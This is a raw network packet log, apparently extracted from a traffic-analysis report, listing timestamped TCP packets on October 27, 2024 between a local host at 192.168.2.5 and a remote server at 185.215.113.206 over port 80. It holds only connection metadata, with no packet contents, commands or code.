Oct 27, 2024 07:59:17.782399893 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782409906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782422066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782435894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782464027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782478094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782486916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782486916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782486916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782486916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782494068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782524109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782537937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782553911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782561064 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782561064 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782569885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782584906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782618999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782633066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782633066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782646894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782649040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782664061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782676935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782680035 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782696009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782696009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782721043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782721043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782727003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782741070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782754898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782768011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782779932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782779932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782779932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782780886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782812119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782814026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782814026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782828093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782835007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782850027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782857895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782866955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782866955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782885075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782906055 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782906055 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782913923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782931089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782948971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782963037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782963991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.782974005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.782990932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783005953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783034086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783037901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783051968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783067942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783073902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783073902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783082962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783098936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783106089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783112049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783127069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783143997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783164978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783178091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783178091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783186913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783186913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783195019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783198118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783205986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783210039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783225060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783240080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783246040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783246040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783256054 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783269882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783289909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783309937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783335924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783335924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783335924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783335924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783335924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783359051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783477068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783492088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783509016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783525944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783541918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783554077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783557892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783561945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783581972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783608913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783613920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783624887 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783658981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783674002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783679008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783689022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783704042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783739090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783739090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783756971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783797979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783823967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783849001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783871889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783886909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783894062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783915997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783917904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783935070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783940077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783940077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783942938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783951998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.783960104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783984900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.783998966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784013987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784044027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784055948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784070015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784084082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784099102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784112930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784168959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.784168959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.784168959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.784168959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.784168959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.784174919 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784188986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.784188986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.784188986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.784192085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784209013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784280062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.784280062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.784287930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784302950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784333944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784348965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784379005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784392118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784406900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.784415007 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.784423113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784430027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.784435987 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.784437895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784454107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784467936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784471035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.784485102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784493923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.784499884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784507036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.784517050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.784528017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.784528017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.784539938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.784563065 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.835104942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.835139990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.835165024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.835174084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.835189104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.835306883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.869507074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.869524002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.869539022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.869560003 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.869683981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.898709059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.898737907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.898772001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.898834944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.898863077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.898914099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.898914099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.898914099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.898927927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.898935080 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.898945093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.898962975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.898982048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.899025917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.899060011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.899091005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.899147987 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.899147987 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.899147987 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.899147987 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.899171114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.899199009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.899249077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.899264097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.899317026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.899343967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.899374008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.899432898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.899436951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.899467945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.899498940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.899561882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.899626017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.899673939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.899692059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.899708986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.899782896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.899842978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.899843931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.899852037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.899857998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.899900913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.899905920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.899945974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.899975061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.900036097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.900038958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.900099993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.900160074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.900181055 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.900181055 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.900192976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.900214911 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.900237083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.900257111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.900326967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.900348902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.900353909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.900417089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.900480032 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.900480032 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.900485992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.900494099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.900520086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.900588036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.900619984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.900685072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.900737047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.900737047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.900744915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.900768042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.900778055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.900810003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.900870085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.900897026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.900897026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.900902987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.900933027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.900965929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901001930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901037931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.901061058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.901067972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901076078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.901101112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901124001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.901148081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901180983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901226044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901284933 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.901284933 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.901285887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.901288986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901334047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.901351929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901416063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901477098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901489973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.901540041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901557922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.901602983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901622057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.901638985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901699066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901705027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.901734114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901766062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901788950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.901798010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901834965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901839972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.901853085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901887894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901952028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.901957035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.901957035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.901984930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.902048111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.902110100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.902147055 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.902147055 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.902157068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.902168036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.902173996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.902208090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.902240038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.902302980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.902335882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.902364969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.902395010 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.902395010 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.902395010 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.902405024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.902412891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.902430058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.902431011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.902492046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.902498007 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.902524948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.902590036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.902623892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.902630091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.902630091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.902683973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.902718067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.902739048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.902739048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.902749062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.902769089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.902782917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.902831078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.902879953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.902883053 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.902883053 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.902899027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.902956009 CET	80	49704	185.215.113.206	192.168.2.5
